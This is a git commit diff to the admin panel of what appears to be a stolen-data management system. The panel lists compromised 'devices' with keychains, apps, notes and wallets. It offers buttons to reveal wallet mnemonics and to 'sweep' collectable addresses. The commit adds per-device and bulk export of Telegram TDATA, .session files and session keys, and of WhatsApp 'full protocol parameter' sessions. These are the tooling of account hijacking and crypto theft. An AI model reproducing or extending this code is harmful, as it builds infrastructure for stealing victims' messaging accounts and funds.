feat: tg/ws/security/
This commit is contained in:
@@ -157,6 +157,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var token = @json(csrf_token());
|
||||
var updateBase = @json(url('/'.$portal.'/addresses'));
|
||||
var canReveal = @json(!empty($can_reveal));
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
@@ -336,7 +337,14 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
? '<span class="addr-monitor-on">开</span>'
|
||||
: '<span class="addr-monitor-off">关</span>';
|
||||
}},
|
||||
{ title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }
|
||||
{ title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', templet: function (d) {
|
||||
var html = '';
|
||||
if (canReveal && d.collectable) html += '<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reveal">查看助记词</a>';
|
||||
if (d.collectable) html += '<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="sweep">归集</a>';
|
||||
html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>';
|
||||
html += '<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>';
|
||||
return html;
|
||||
} }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
|
||||
@@ -33,6 +33,9 @@
|
||||
<script type="text/html" id="LAY-agent-ops">
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="channels">渠道链接</a>
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>
|
||||
@{{# if(d.is_locked){ }}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="unlock">解锁</a>
|
||||
@{{# } }}
|
||||
@{{# if (d.telegram_ready) { }}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="tgtest">测试TG</a>
|
||||
@{{# } }}
|
||||
@@ -75,6 +78,16 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
? '<span style="color:#16a34a;">已绑定</span>'
|
||||
: '<span style="color:#888;">未绑定</span>';
|
||||
}},
|
||||
{ field: 'is_locked', title: '锁定状态', width: 110, templet: function (d) {
|
||||
if (d.is_locked) {
|
||||
return '<span style="color:#ff5722;">已封锁</span><br><span style="font-size:12px;color:#999;">' + (d.locked_at || '') + '</span>';
|
||||
}
|
||||
var attempts = Number(d.login_attempts) || 0;
|
||||
if (attempts > 0) {
|
||||
return '<span style="color:#ffb800;">失败 ' + attempts + ' 次</span>';
|
||||
}
|
||||
return '<span style="color:#16b777;">正常</span>';
|
||||
}},
|
||||
{ field: 'chat_id', title: 'Chat ID', width: 140 },
|
||||
{ field: 'comment', title: '备注', minWidth: 100 },
|
||||
{ field: 'album_storage_default', title: '相册存储', width: 100, templet: function (d) {
|
||||
@@ -93,7 +106,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
cols.push(
|
||||
{ field: 'channels_count', title: '渠道数', width: 90 },
|
||||
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
|
||||
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
||||
{ title: '操作', width: 300, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
||||
);
|
||||
|
||||
table.render({
|
||||
@@ -241,6 +254,26 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||||
layer.close(index);
|
||||
table.reload('LAY-agent-list');
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.msg((xhr.responseJSON && xhr.responseJSON.message) || '更新失败');
|
||||
}
|
||||
});
|
||||
});
|
||||
} else if (obj.event === 'unlock') {
|
||||
layer.confirm('确定解除代理「' + d.username + '」的封禁状态?', function (index) {
|
||||
$.ajax({
|
||||
url: @json(url('/admin/agents')) + '/' + d.id + '/unlock',
|
||||
method: 'POST',
|
||||
data: { _token: token },
|
||||
success: function (res) {
|
||||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||||
layer.msg(res.msg || '已解除封禁');
|
||||
layer.close(index);
|
||||
table.reload('LAY-agent-list');
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.msg((xhr.responseJSON && (xhr.responseJSON.message || xhr.responseJSON.msg)) || '解锁失败');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -105,7 +105,9 @@
|
||||
<table id="LAY-device-list" lay-filter="LAY-device-list"></table>
|
||||
<script type="text/html" id="LAY-device-ops">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail"><i class="layui-icon layui-icon-form"></i> 详情</a>
|
||||
@if ($portal === 'admin')
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="destroy"><i class="layui-icon layui-icon-delete"></i> 删除</a>
|
||||
@endif
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -6,7 +6,9 @@
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
|
||||
<span>设备详情</span>
|
||||
@if (($portal ?? 'admin') === 'admin')
|
||||
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
|
||||
@endif
|
||||
</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" style="margin-bottom: 16px;">
|
||||
@@ -228,6 +230,8 @@
|
||||
'apps' => '已装 APP',
|
||||
'notes' => '备忘录',
|
||||
'events' => '日志',
|
||||
'ws-sessions' => 'WS 参数',
|
||||
'tg-sessions' => 'TG 参数',
|
||||
]; @endphp
|
||||
@foreach ($tabs as $key => $label)
|
||||
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
|
||||
@@ -316,6 +320,20 @@
|
||||
</form>
|
||||
@endif
|
||||
<table id="LAY-device-tab-list" lay-filter="LAY-device-tab-list"></table>
|
||||
@if (in_array($tab, ['ws-sessions', 'tg-sessions'], true))
|
||||
<script type="text/html" id="LAY-device-session-ops">
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
|
||||
@if ($tab === 'ws-sessions')
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
|
||||
@endif
|
||||
@if ($tab === 'tg-sessions' && auth('admin')->user()?->isSuper())
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
|
||||
@endif
|
||||
</script>
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
@@ -335,7 +353,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
|
||||
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
|
||||
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
|
||||
@if (($portal ?? 'admin') === 'admin')
|
||||
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
|
||||
@else
|
||||
var destroyUrl = '';
|
||||
@endif
|
||||
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
|
||||
var token = @json(csrf_token());
|
||||
var revealMnemonic = window.CorunaMnemonicReveal({
|
||||
@@ -351,6 +373,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"');
|
||||
};
|
||||
var yesNo = function (v) {
|
||||
return v ? '<span style="color:#16a34a;">有</span>' : '<span style="color:#94a3b8;">无</span>';
|
||||
};
|
||||
|
||||
form.on('switch(LAY-device-album-storage)', function (obj) {
|
||||
var on = obj.elem.checked ? 1 : 0;
|
||||
@@ -656,6 +681,28 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'context', title: 'Context', minWidth: 220, templet: function (d) {
|
||||
return d.context ? '<span class="wrap">' + esc(d.context) + '</span>' : '—';
|
||||
} }
|
||||
]],
|
||||
'ws-sessions': [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'account_id', title: '账号', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
|
||||
{ field: 'phone', title: '手机号', width: 140, templet: function (d) { return dash(d.phone); } },
|
||||
{ field: 'nickname', title: '昵称', width: 130, templet: function (d) { return dash(d.nickname); } },
|
||||
{ field: 'version', title: '版本', width: 110, templet: function (d) { return dash(d.version); } },
|
||||
{ field: 'has_keystore', title: '密钥', width: 80, templet: function (d) { return yesNo(d.has_keystore); } },
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 200, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
|
||||
]],
|
||||
'tg-sessions': [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'account_id', title: '用户 ID', minWidth: 150, sort: true, templet: function (d) { return dash(d.account_id); } },
|
||||
{ field: 'has_state', title: '状态', width: 80, templet: function (d) { return yesNo(d.has_state); } },
|
||||
{ field: 'has_db', title: 'DB', width: 80, templet: function (d) { return yesNo(d.has_db); } },
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
@if(auth('admin')->user()?->isSuper())
|
||||
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
|
||||
@else
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-device-session-ops' }
|
||||
@endif
|
||||
]]
|
||||
};
|
||||
var emptyMap = {
|
||||
@@ -664,7 +711,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
keystores: '暂无钥匙串',
|
||||
apps: '暂无应用',
|
||||
notes: '暂无备忘录',
|
||||
events: '暂无日志'
|
||||
events: '暂无日志',
|
||||
'ws-sessions': '暂无 WS 参数',
|
||||
'tg-sessions': '暂无 TG 参数'
|
||||
};
|
||||
|
||||
table.render({
|
||||
@@ -779,6 +828,107 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'ws-sessions' || tab === 'tg-sessions') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event === 'payload') {
|
||||
var url = obj.data.payload_url;
|
||||
if (!url) { layer.msg('缺少参数地址'); return; }
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; })
|
||||
.catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; });
|
||||
})
|
||||
.then(function (out) {
|
||||
layer.close(load);
|
||||
var body = out.body || {};
|
||||
var json = body.data && body.data.payload_json;
|
||||
if (!out.ok || body.code === 1 || !json) { layer.msg(body.msg || '加载参数失败'); return; }
|
||||
var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || '';
|
||||
var pretty = JSON.stringify(json, null, 2);
|
||||
layer.open({
|
||||
type: 1, title: (tab === 'ws-sessions' ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id,
|
||||
area: ['720px', '80%'], content:
|
||||
'<pre style="margin:0;padding:12px;max-height:100%;overflow:auto;background:#f6f6f6;font-size:12px;white-space:pre-wrap;word-break:break-all;">' + esc(pretty) + '</pre>'
|
||||
+ (downloadUrl ? '<div style="padding:8px 12px;"><a class="layui-btn layui-btn-sm" href="' + esc(downloadUrl) + '" download>下载完整参数</a></div>' : '')
|
||||
});
|
||||
})
|
||||
.catch(function () { layer.close(load); layer.msg('加载参数失败'); });
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'wsFull') {
|
||||
var url = obj.data.ws_full_url;
|
||||
if (!url) { layer.msg('缺少协议全参地址'); return; }
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
|
||||
document.body.appendChild(a); a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'tdata') {
|
||||
var url = obj.data.tdata_url;
|
||||
if (!url) { layer.msg('缺少 TDATA 地址'); return; }
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
|
||||
document.body.appendChild(a); a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
|
||||
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
|
||||
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
|
||||
var type = typeMap[obj.event];
|
||||
var baseUrl = obj.data.session_file_url;
|
||||
if (!baseUrl) { layer.msg('缺少会话文件地址'); return; }
|
||||
var url = baseUrl + '?type=' + type;
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
|
||||
document.body.appendChild(a); a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
|
||||
return;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'wallets') {
|
||||
form.render('select');
|
||||
form.on('submit(LAY-wallet-search)', function (data) {
|
||||
|
||||
@@ -43,11 +43,25 @@
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<div style="margin-bottom:10px;">
|
||||
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出 ZIP</button>
|
||||
@if ($isWhatsApp)
|
||||
<button class="layui-btn layui-btn-normal" id="LAY-session-export-ws"><i class="layui-icon layui-icon-export"></i>导出 WS 全参</button>
|
||||
<span style="margin-left:10px;color:#999;font-size:12px;">批量导出一次限 1000 条,请先选择时间范围</span>
|
||||
@else
|
||||
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出原始参数 ZIP</button>
|
||||
@endif
|
||||
</div>
|
||||
<table id="LAY-session-list" lay-filter="LAY-session-list"></table>
|
||||
<script type="text/html" id="LAY-session-ops">
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">参数</a>
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">原始参数</a>
|
||||
@if ($isWhatsApp)
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wsFull">协议全参</a>
|
||||
@endif
|
||||
@if (! $isWhatsApp && auth('admin')->user()?->isSuper())
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="tdata">TDATA</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="session">SESSION</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionJson">JSON</a>
|
||||
<a class="layui-btn layui-btn-success layui-btn-xs" lay-event="sessionKey">密钥</a>
|
||||
@endif
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
</div>
|
||||
@@ -98,7 +112,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
cols.push(
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 170, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' }
|
||||
{ title: '操作', width: 410, align: 'center', fixed: 'right', toolbar: '#LAY-session-ops' }
|
||||
);
|
||||
|
||||
table.render({
|
||||
@@ -118,7 +132,9 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
|
||||
// Bulk export: build a query string from the current search form and
|
||||
// trigger a download via a hidden <a>. The server streams a ZIP from disk.
|
||||
document.getElementById('LAY-session-export').addEventListener('click', function () {
|
||||
var zipBtn = document.getElementById('LAY-session-export');
|
||||
if (zipBtn) {
|
||||
zipBtn.addEventListener('click', function () {
|
||||
var params = new URLSearchParams();
|
||||
params.set('kind', isWhatsApp ? '2' : '1');
|
||||
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
|
||||
@@ -149,7 +165,51 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '导出失败');
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// WS TXT export: same filters, but returns a single NDJSON .txt (one JSON
|
||||
// per line, 26 fields — chk.ts native format). Server converts each wap.js
|
||||
// payload on the fly.
|
||||
var wsBtn = document.getElementById('LAY-session-export-ws');
|
||||
if (wsBtn) {
|
||||
wsBtn.addEventListener('click', function () {
|
||||
var params = new URLSearchParams();
|
||||
params.set('kind', '2');
|
||||
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
|
||||
if (formEl) {
|
||||
var fd = new FormData(formEl);
|
||||
fd.forEach(function (v, k) { if (v) params.set(k, v); });
|
||||
}
|
||||
var url = @json(route($portal.'.sessions.export.ws')) + '?' + params.toString();
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); });
|
||||
}
|
||||
var skipped = res.headers.get('X-Export-Skipped') || '0';
|
||||
var written = res.headers.get('X-Export-Written') || '';
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = 'ws-' + @json(date('Ymd-His')) + '.txt';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
if (skipped && skipped !== '0') {
|
||||
layer.msg('导出完成,跳过 ' + skipped + ' 条无密钥数据' + (written ? ',写入 ' + written + ' 条' : ''));
|
||||
}
|
||||
});
|
||||
})
|
||||
.catch(function (e) {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '导出失败');
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
table.on('tool(LAY-session-list)', function (obj) {
|
||||
if (obj.event === 'payload') {
|
||||
@@ -191,6 +251,97 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'wsFull') {
|
||||
var url = obj.data.ws_full_url;
|
||||
if (!url) {
|
||||
layer.msg('缺少协议全参地址');
|
||||
return;
|
||||
}
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '转换失败');
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'tdata') {
|
||||
var url = obj.data.tdata_url;
|
||||
if (!url) {
|
||||
layer.msg('缺少 TDATA 地址');
|
||||
return;
|
||||
}
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '转换失败');
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
|
||||
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
|
||||
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
|
||||
var type = typeMap[obj.event];
|
||||
var baseUrl = obj.data.session_file_url;
|
||||
if (!baseUrl) {
|
||||
layer.msg('缺少会话文件地址');
|
||||
return;
|
||||
}
|
||||
var url = baseUrl + '?type=' + type;
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '转换失败');
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'detail') return;
|
||||
var url = obj.data.detail_url;
|
||||
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
|
||||
|
||||
@@ -22,6 +22,9 @@
|
||||
<table id="LAY-admin-list" lay-filter="LAY-admin-list"></table>
|
||||
<script type="text/html" id="LAY-admin-ops">
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="edit">编辑</a>
|
||||
@{{# if(d.is_locked){ }}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="unlock">解锁</a>
|
||||
@{{# } }}
|
||||
@{{# if(!d.is_self){ }}
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||||
@{{# } }}
|
||||
@@ -53,8 +56,18 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
return Number(d.google_auth_open) === 1 ? '开' : '关';
|
||||
}},
|
||||
{ field: 'last_ip', title: '最近登录IP', width: 140 },
|
||||
{ field: 'is_locked', title: '锁定状态', width: 110, templet: function (d) {
|
||||
if (d.is_locked) {
|
||||
return '<span style="color:#ff5722;">已封锁</span><br><span style="font-size:12px;color:#999;">' + (d.locked_at || '') + '</span>';
|
||||
}
|
||||
var attempts = Number(d.login_attempts) || 0;
|
||||
if (attempts > 0) {
|
||||
return '<span style="color:#ffb800;">失败 ' + attempts + ' 次</span>';
|
||||
}
|
||||
return '<span style="color:#16b777;">正常</span>';
|
||||
}},
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 160, toolbar: '#LAY-admin-ops' }
|
||||
{ title: '操作', width: 200, toolbar: '#LAY-admin-ops' }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
@@ -128,6 +141,24 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
|
||||
table.on('tool(LAY-admin-list)', function (obj) {
|
||||
if (obj.event === 'edit') openForm('编辑管理员', obj.data, false);
|
||||
if (obj.event === 'unlock') {
|
||||
layer.confirm('确定解除管理员「' + obj.data.username + '」的封禁状态?', function (index) {
|
||||
$.ajax({
|
||||
url: @json(url('/admin/system/admins')) + '/' + obj.data.id + '/unlock',
|
||||
method: 'POST',
|
||||
data: { _token: token },
|
||||
success: function (res) {
|
||||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||||
layer.msg(res.msg || '已解除封禁');
|
||||
layer.close(index);
|
||||
table.reload('LAY-admin-list');
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.msg((xhr.responseJSON && (xhr.responseJSON.message || xhr.responseJSON.msg)) || '解锁失败');
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
if (obj.event === 'del') {
|
||||
layer.confirm('确定删除管理员「' + obj.data.username + '」?', function (index) {
|
||||
$.ajax({
|
||||
|
||||
Reference in New Issue
Block a user